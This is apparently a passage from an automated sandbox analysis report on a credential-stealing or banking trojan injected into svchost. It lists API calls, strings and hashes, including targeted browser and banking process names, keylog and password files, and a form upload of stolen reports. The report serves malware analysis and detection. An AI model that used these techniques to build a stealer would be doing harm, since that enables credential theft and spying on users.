                                                                                                                                                                                                            • Instruction Fuzzy Hash: 0D516271E40258BBDB11DFA4EC48BAEBBB9FF88711F104659F904E7280DB709D118BA5
                                                                                                                                                                                                            Function 02C97CE0 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 178filememoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • LocalAlloc.KERNEL32(00000040,-00000103,00000000,00000000,75AF5CE0), ref: 02C97D61
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02C97D7D
                                                                                                                                                                                                            • FindFirstFileA.KERNEL32(00000000,?), ref: 02C97D8C
                                                                                                                                                                                                            • LocalFree.KERNEL32(00000000), ref: 02C97D99
                                                                                                                                                                                                            • wsprintfA.USER32 ref: 02C97DD8
                                                                                                                                                                                                            • wsprintfA.USER32 ref: 02C97DE6
                                                                                                                                                                                                            • FindNextFileA.KERNELBASE(00000000,?), ref: 02C97EDD
                                                                                                                                                                                                            • FindClose.KERNEL32(00000000), ref: 02C97EEC
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Find$FileLocalwsprintf$AllocCloseFirstFreeNext_snprintf
                                                                                                                                                                                                            • String ID: %s%s$%s\%s$%s\*$.
                                                                                                                                                                                                            • API String ID: 2477558990-1591360731
                                                                                                                                                                                                            • Opcode ID: 22a46c917d42efc872d68bdad4e6a639e7edcdfb77f4687c4e169961cb074ba6
                                                                                                                                                                                                            • Instruction ID: 6757e22f4457f9fe528c54067ee3e75b42a07278352973efa6c4b4563010fc51
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 22a46c917d42efc872d68bdad4e6a639e7edcdfb77f4687c4e169961cb074ba6
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 8E5191F1A153919FDB11DF28D848FBBBBADBBC5704F044A48F9819B245D7709908CBA2
                                                                                                                                                                                                            Function 02C83D90 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 87networkstringCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • IsNetworkAlive.SENSAPI(02C763DD,00000000), ref: 02C83DA3
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C83DB1
                                                                                                                                                                                                            • DnsFlushResolverCache.DNSAPI ref: 02C83DBB
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C83DD8
                                                                                                                                                                                                            • lstrcpynA.KERNEL32(00000000,http://,00000104,?,00000000,00000000), ref: 02C83DF7
                                                                                                                                                                                                            • StrNCatA.SHLWAPI(00000000,www.bing.com,00000104), ref: 02C83E10
                                                                                                                                                                                                            • InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02C83E23
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C83E3C
                                                                                                                                                                                                            • lstrcpynA.KERNEL32(00000000,http://,00000104,?,?,?,?,00000000,00000000), ref: 02C83E55
                                                                                                                                                                                                            • StrNCatA.SHLWAPI(00000000,www.microsoft.com,00000104), ref: 02C83E68
                                                                                                                                                                                                            • InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02C83E75
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CheckConnectionInternetlstrcpynmemset$AdminAliveCacheFlushNetworkResolverUser
                                                                                                                                                                                                            • String ID: http://$www.bing.com$www.microsoft.com
                                                                                                                                                                                                            • API String ID: 1656757314-3977723178
                                                                                                                                                                                                            • Opcode ID: 046cff174cf00cf9745e4414d1a13b771669121d0302758fc0263850c3479c27
                                                                                                                                                                                                            • Instruction ID: d45695dd1716ebac61938a8b3cd0950e38a12e6e9132130ccafc4e5caf358cfc
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 046cff174cf00cf9745e4414d1a13b771669121d0302758fc0263850c3479c27
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 8121CD73E8425867E721E7A49C41FDAB76CDF94B14F0045D5FA88E7080DAF19AC48B91
                                                                                                                                                                                                            Function 02C77020 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 76sleepsynchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Global\{EAF799BF-8249-4fe1-9A0D-92CD3CC22014}), ref: 02C77041
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064), ref: 02C77052
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Global\{EAF799BF-8249-4fe1-9A0D-92CD3CC22014}), ref: 02C77060
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02C77069
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C7707F
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C77091
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 02C770B9
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\explorer.exe), ref: 02C770D2
                                                                                                                                                                                                            • ExitProcess.KERNEL32 ref: 02C770DD
                                                                                                                                                                                                            • SetEvent.KERNEL32(00000000), ref: 02C770E9
                                                                                                                                                                                                            • Sleep.KERNEL32(000007D0), ref: 02C770F4
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Mutex$HandleOpenSleep$CloseEventExitFileInformationModuleNameProcessRelease
                                                                                                                                                                                                            • String ID: Global\{EAF799BF-8249-4fe1-9A0D-92CD3CC22014}$P0#v$\explorer.exe
                                                                                                                                                                                                            • API String ID: 2248524772-2059955476
                                                                                                                                                                                                            • Opcode ID: baeaa3e8bd56cf9e915a1522bfc4e803d915b3a43fc1007f0841b28de74fd959
                                                                                                                                                                                                            • Instruction ID: 89f55bf59260a55909fb45ec8e651e1948a1b63d5d2c83ccde98a960c91ce188
                                                                                                                                                                                                            • Opcode Fuzzy Hash: baeaa3e8bd56cf9e915a1522bfc4e803d915b3a43fc1007f0841b28de74fd959
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 39210831E847446BE322BB759C09F6AFB9CAFC0B10F004655F95493181DBB4D9188AE2
                                                                                                                                                                                                            Function 02C72BB0 Relevance: 21.5, APIs: 14, Instructions: 466COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: callocfree$exit
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 337157181-0
                                                                                                                                                                                                            • Opcode ID: 7f48ad7fa4da548279fe1b0c99727c96497688232c9c7f067b880dbf04229b04
                                                                                                                                                                                                            • Instruction ID: 67329b314172805e52ad59086c6dbb5ba13a56f959d6b419cfae029237b9aa8e
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 7f48ad7fa4da548279fe1b0c99727c96497688232c9c7f067b880dbf04229b04
                                                                                                                                                                                                            • Instruction Fuzzy Hash: FDF1CF71A0065A9FDB20CF98D884BAEB7B5FF88314F144169ED05A7340D771EE51CBA2
                                                                                                                                                                                                            Function 02C86370 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 88memoryprocessCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000000), ref: 02C86384
                                                                                                                                                                                                            • Process32First.KERNEL32(00000000,?), ref: 02C863A9
                                                                                                                                                                                                            • GetCurrentProcessId.KERNEL32(?,00000000), ref: 02C863CD
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|,?,?,00000000), ref: 02C863E7
                                                                                                                                                                                                            • EnterCriticalSection.KERNEL32(02CBD8A0,?,00000000), ref: 02C8640B
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000010,?,00000000), ref: 02C86411
                                                                                                                                                                                                            • RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 02C86418
                                                                                                                                                                                                            • LeaveCriticalSection.KERNEL32(02CBD8A0,?,00000000), ref: 02C86446
                                                                                                                                                                                                              • Part of subcall function 02C92E00: OpenProcess.KERNEL32(00000400,00000000,00000000,7622F550,00000000,7736C3F0), ref: 02C92E15
                                                                                                                                                                                                              • Part of subcall function 02C92E00: OpenProcessToken.ADVAPI32(00000000,00000010,?,?,?,?,?,?,?,?,?,?,?,?,02C84683), ref: 02C92E2C
                                                                                                                                                                                                              • Part of subcall function 02C92E00: GetTokenInformation.KERNELBASE(?,00000007(TokenIntegrityLevel),?,00000010,?), ref: 02C92E4A
                                                                                                                                                                                                              • Part of subcall function 02C92E00: CharUpperA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,02C84683), ref: 02C92E62
                                                                                                                                                                                                              • Part of subcall function 02C92E00: GetHandleInformation.KERNEL32(?,00000000), ref: 02C92EBB
                                                                                                                                                                                                              • Part of subcall function 02C92E00: CloseHandle.KERNEL32(?), ref: 02C92ECC
                                                                                                                                                                                                              • Part of subcall function 02C92E00: GetHandleInformation.KERNEL32(00000000,?), ref: 02C92EDE
                                                                                                                                                                                                              • Part of subcall function 02C92E00: CloseHandle.KERNEL32(00000000), ref: 02C92EEF
                                                                                                                                                                                                            • Process32Next.KERNEL32(00000000,00000128), ref: 02C8645A
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?,?,00000000), ref: 02C86474
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000,?,00000000), ref: 02C86485
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|, xrefs: 02C863E2
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Handle$InformationProcess$Close$CriticalHeapOpenProcess32SectionToken$AllocateCharCreateCurrentEnterFirstLeaveNextSnapshotToolhelp32Upper
                                                                                                                                                                                                            • String ID: iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|
                                                                                                                                                                                                            • API String ID: 838372802-860058239
                                                                                                                                                                                                            • Opcode ID: 309971bf6f53314554b47302d7e277ad4b9c34fe133696fd324226235836fcf3
                                                                                                                                                                                                            • Instruction ID: 1acad026bad8bc81f15bff71473b071b2aa7c70764d43b849abcc9449434b30f
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 309971bf6f53314554b47302d7e277ad4b9c34fe133696fd324226235836fcf3
                                                                                                                                                                                                            • Instruction Fuzzy Hash: CC319470D41254EFDB21DF65D849B9EB7BCFF88718F1085A9E849D3240D7309A45CB61
                                                                                                                                                                                                            Function 02C76A30 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 91threadstringnativeCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • NtQuerySystemInformation.NTDLL(?,?,?,?), ref: 02C76A4C
                                                                                                                                                                                                            • GetCurrentProcessId.KERNEL32 ref: 02C76A5F
                                                                                                                                                                                                              • Part of subcall function 02C92E00: OpenProcess.KERNEL32(00000400,00000000,00000000,7622F550,00000000,7736C3F0), ref: 02C92E15
                                                                                                                                                                                                              • Part of subcall function 02C92E00: OpenProcessToken.ADVAPI32(00000000,00000010,?,?,?,?,?,?,?,?,?,?,?,?,02C84683), ref: 02C92E2C
                                                                                                                                                                                                              • Part of subcall function 02C92E00: GetTokenInformation.KERNELBASE(?,00000007(TokenIntegrityLevel),?,00000010,?), ref: 02C92E4A
                                                                                                                                                                                                              • Part of subcall function 02C92E00: CharUpperA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,02C84683), ref: 02C92E62
                                                                                                                                                                                                              • Part of subcall function 02C92E00: GetHandleInformation.KERNEL32(?,00000000), ref: 02C92EBB
                                                                                                                                                                                                              • Part of subcall function 02C92E00: CloseHandle.KERNEL32(?), ref: 02C92ECC
                                                                                                                                                                                                              • Part of subcall function 02C92E00: GetHandleInformation.KERNEL32(00000000,?), ref: 02C92EDE
                                                                                                                                                                                                              • Part of subcall function 02C92E00: CloseHandle.KERNEL32(00000000), ref: 02C92EEF
                                                                                                                                                                                                            • GetCurrentThreadId.KERNEL32 ref: 02C76A6E
                                                                                                                                                                                                            • GetThreadDesktop.USER32(00000000,00000002,?,00000100,?), ref: 02C76A87
                                                                                                                                                                                                            • GetUserObjectInformationA.USER32(00000000), ref: 02C76A8E
                                                                                                                                                                                                            • lstrcmpiA.KERNEL32(?,7d2de3ada), ref: 02C76AA4
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C76AE9
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02C76B03
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,?), ref: 02C76B16
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Information$Handle$OpenProcess$CloseCurrentThreadToken$CharDesktopMutexObjectQuerySystemUpperUser_snprintflstrcmpimemset
                                                                                                                                                                                                            • String ID: 7d2de3ada$Global\HighMemoryEvent_%08x
                                                                                                                                                                                                            • API String ID: 1400009243-3367381822
                                                                                                                                                                                                            • Opcode ID: c8ce148320c71e6f7165467db7b5d437f6a75079891ace40bf26555325746e95
                                                                                                                                                                                                            • Instruction ID: cab2f2639501efa66fa813353dfb62881e3343080eb70cdf95d92355d2c32780
                                                                                                                                                                                                            • Opcode Fuzzy Hash: c8ce148320c71e6f7165467db7b5d437f6a75079891ace40bf26555325746e95
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 2A31F272A40255ABDB21CF61CC88BAAB77CFF94B10F144655FE4497280E7B0AD91CFA1
                                                                                                                                                                                                            Function 029A1360 Relevance: 3.2, APIs: 2, Instructions: 241memorylibraryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • VirtualAlloc.KERNEL32(00000000,?,00003000,00000040,00000000,61FF864A), ref: 029A1451
                                                                                                                                                                                                            • LoadLibraryExA.KERNEL32(?,00000000,00000000,00000000,0AFB4677), ref: 029A1515
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391439892.00000000029A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_29a0000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: AllocLibraryLoadVirtual
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3550616410-0
                                                                                                                                                                                                            • Opcode ID: 4c20f65d22fef1470a76e602a17beb2500452f3e339ad4f3f34e1df76570f847
                                                                                                                                                                                                            • Instruction ID: bb8178fee0d07ba4466ffa7705655954c1ec0c1b777c56eb866e195d8b30916b
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 4c20f65d22fef1470a76e602a17beb2500452f3e339ad4f3f34e1df76570f847
                                                                                                                                                                                                            • Instruction Fuzzy Hash: EB914BB5D00719AFCB24DFE8C860BAEB7BAAF88354F154559E809B7344D734AA01CF94
                                                                                                                                                                                                            Function 02C825C0 Relevance: 100.3, APIs: 41, Strings: 16, Instructions: 584memoryfileCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 326 2c825c0-2c82623 EnterCriticalSection GetCurrentDirectoryA _snprintf SetCurrentDirectoryA 327 2c82629-2c8262c 326->327 328 2c82beb-2c82c07 SetCurrentDirectoryA PathFileExistsA 326->328 331 2c82631-2c82635 327->331 329 2c82c09-2c82c1f SetFileAttributesA DeleteFileA 328->329 330 2c82c25-2c82c3b 328->330 329->330 332 2c82c3d-2c82c4a GetProcessHeap HeapValidate 330->332 333 2c82c57-2c82c5b 330->333 334 2c82651-2c82653 331->334 335 2c82637-2c82639 331->335 332->333 336 2c82c4c-2c82c55 GetProcessHeap HeapFree 332->336 339 2c82c5d-2c82c6a GetProcessHeap HeapValidate 333->339 340 2c82c77-2c82c8a LeaveCriticalSection 333->340 341 2c82656-2c82658 334->341 337 2c8263b-2c82641 335->337 338 2c8264d-2c8264f 335->338 336->333 337->334 342 2c82643-2c8264b 337->342 338->341 339->340 343 2c82c6c-2c82c75 GetProcessHeap HeapFree 339->343 344 2c8265a-2c82660 call 2c753e0 341->344 345 2c82665-2c82667 341->345 342->331 342->338 343->340 344->345 347 2c82670-2c82681 345->347 347->347 348 2c82683-2c82699 PathAddBackslashA 347->348 349 2c826a0-2c826a6 348->349 349->349 350 2c826a8-2c826f0 SHGetFolderPathA PathAddBackslashA 349->350 351 2c826f2-2c826f7 350->351 351->351 352 2c826f9-2c82703 351->352 353 2c82704-2c8270a 352->353 353->353 354 2c8270c-2c82732 CopyFileA 353->354 355 2c82740-2c82751 354->355 355->355 356 2c82753-2c82762 PathAddBackslashA 355->356 357 2c82763-2c82769 356->357 357->357 358 2c8276b-2c82793 357->358 359 2c82798-2c8279c 358->359 360 2c827b8-2c827ba 359->360 361 2c8279e-2c827a0 359->361 362 2c827bd-2c827bf 360->362 363 2c827a2-2c827a8 361->363 364 2c827b4-2c827b6 361->364 366 2c827dd-2c8281b GetTickCount _snprintf VirtualAlloc 362->366 367 2c827c1-2c827d7 SetFileAttributesA DeleteFileA 362->367 363->360 365 2c827aa-2c827b2 363->365 364->362 365->359 365->364 366->328 368 2c82821-2c82844 lstrcpynA call 2c97b50 366->368 367->366 371 2c82855-2c8289c VirtualFree call 2c766d0 SetFileAttributesA RemoveDirectoryA call 2c76930 368->371 372 2c82846-2c82850 call 2c97ce0 call 2c97c50 368->372 371->328 380 2c828a2 371->380 372->371 381 2c828a5-2c828aa 380->381 381->381 382 2c828ac-2c828b5 381->382 383 2c828df-2c828e4 382->383 384 2c828b7-2c828d1 GetProcessHeap HeapAlloc 382->384 383->328 386 2c828ea-2c828ff 383->386 384->383 385 2c828d3-2c828dc memset 384->385 385->383 387 2c82901-2c82906 386->387 387->387 388 2c82908-2c8290d 387->388 389 2c82910-2c82916 388->389 389->389 390 2c82918-2c82929 389->390 391 2c82930-2c82936 390->391 391->391 392 2c82938-2c8294e 391->392 393 2c82950-2c82956 392->393 393->393 394 2c82958-2c8296b 393->394 395 2c82970-2c82975 394->395 395->395 396 2c82977-2c8297c 395->396 397 2c82980-2c82986 396->397 397->397 398 2c82988-2c82999 397->398 399 2c829a0-2c829a6 398->399 399->399 400 2c829a8-2c829ba call 2c732f0 399->400 403 2c829c0-2c829c5 400->403 403->403 404 2c829c7-2c829cc 403->404 405 2c829d0-2c829d6 404->405 405->405 406 2c829d8-2c829e9 405->406 407 2c829f0-2c829f6 406->407 407->407 408 2c829f8-2c82a0b 407->408 409 2c82a10-2c82a15 408->409 409->409 410 2c82a17-2c82a1c 409->410 411 2c82a20-2c82a26 410->411 411->411 412 2c82a28-2c82a39 411->412 413 2c82a40-2c82a46 412->413 413->413 414 2c82a48-2c82a5e 413->414 415 2c82a60-2c82a66 414->415 415->415 416 2c82a68-2c82a75 415->416 417 2c82a78-2c82a7e 416->417 417->417 418 2c82a80-2c82a90 417->418 419 2c82a92-2c82a97 418->419 419->419 420 2c82a99-2c82a9e 419->420 421 2c82aa0-2c82aa6 420->421 421->421 422 2c82aa8-2c82ab9 421->422 423 2c82ac0-2c82ac6 422->423 423->423 424 2c82ac8-2c82adb 423->424 425 2c82ae0-2c82ae5 424->425 425->425 426 2c82ae7-2c82aec 425->426 427 2c82af0-2c82af6 426->427 427->427 428 2c82af8-2c82b09 427->428 429 2c82b10-2c82b16 428->429 429->429 430 2c82b18-2c82b2f 429->430 431 2c82b31-2c82b33 430->431 432 2c82b36-2c82b3b 431->432 432->432 433 2c82b3d-2c82b41 call 2c82410 432->433 435 2c82b46-2c82b48 433->435 436 2c82b4a-2c82b55 Sleep 435->436 437 2c82b57-2c82b5f 435->437 436->431 436->437 438 2c82b60-2c82b64 437->438 439 2c82b80-2c82b82 438->439 440 2c82b66-2c82b68 438->440 441 2c82b85-2c82b87 439->441 442 2c82b6a-2c82b70 440->442 443 2c82b7c-2c82b7e 440->443 441->328 445 2c82b89-2c82bbd IsUserAnAdmin GetTickCount RegOpenKeyExA 441->445 442->439 444 2c82b72-2c82b7a 442->444 443->441 444->438 444->443 445->328 446 2c82bbf-2c82be5 RegSetValueExA RegFlushKey RegCloseKey 445->446 446->328
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • EnterCriticalSection.KERNEL32(02CBD888,76232F00,00000000,76230F00), ref: 02C825D9
                                                                                                                                                                                                            • GetCurrentDirectoryA.KERNEL32(00000104,?), ref: 02C825EB
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02C8260B
                                                                                                                                                                                                            • SetCurrentDirectoryA.KERNEL32(?), ref: 02C8261B
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(?), ref: 02C82690
                                                                                                                                                                                                            • SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 02C826DC
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(?), ref: 02C826E9
                                                                                                                                                                                                            • CopyFileA.KERNEL32(?,?,00000000), ref: 02C8272A
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(?), ref: 02C8275A
                                                                                                                                                                                                            • SetCurrentDirectoryA.KERNEL32(?), ref: 02C82BF2
                                                                                                                                                                                                            • PathFileExistsA.SHLWAPI(?), ref: 02C82BFF
                                                                                                                                                                                                            • SetFileAttributesA.KERNEL32(?,00000000), ref: 02C82C12
                                                                                                                                                                                                            • DeleteFileA.KERNEL32(?), ref: 02C82C1F
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C82C43
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C82C46
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C82C52
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C82C55
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C82C63
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C82C66
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C82C72
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C82C75
                                                                                                                                                                                                            • LeaveCriticalSection.KERNEL32(02CBD888), ref: 02C82C7C
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Path$FileProcess$BackslashCurrentDirectory$CriticalFreeSectionValidate$AttributesCopyDeleteEnterExistsFolderLeave_snprintf
                                                                                                                                                                                                            • String ID: -----------------------------$%s%s$%s%u.zip$--$-----------------------------$325b0ba3454dc65e$7D2DE6CDa$7d2de689a$C:\Users\user\AppData\Roaming\$Content-Disposition: form-data; name="file"; filename="report"$Content-Disposition: form-data; name="pcname"$Content-Type: text/plain$DEBUG$keylog.txt$passwords.txt$software\microsoft
                                                                                                                                                                                                            • API String ID: 390830577-4043088193
                                                                                                                                                                                                            • Opcode ID: e4eac7c1d77b19ea306828177a987b61ff49e9db60d14e95b29b38cd4e43e4e9
                                                                                                                                                                                                            • Instruction ID: 153a4528031931f15edd3c276ebaa6aa38732b7f5ceb29a19e473fb53db9173c
                                                                                                                                                                                                            • Opcode Fuzzy Hash: e4eac7c1d77b19ea306828177a987b61ff49e9db60d14e95b29b38cd4e43e4e9
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 58124A719442C65BDB169F309C98BFBBBA5FF85308F0486D4ED869B240DB32DA09C791
                                                                                                                                                                                                            Function 02C82669 Relevance: 91.5, APIs: 37, Strings: 15, Instructions: 528fileCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
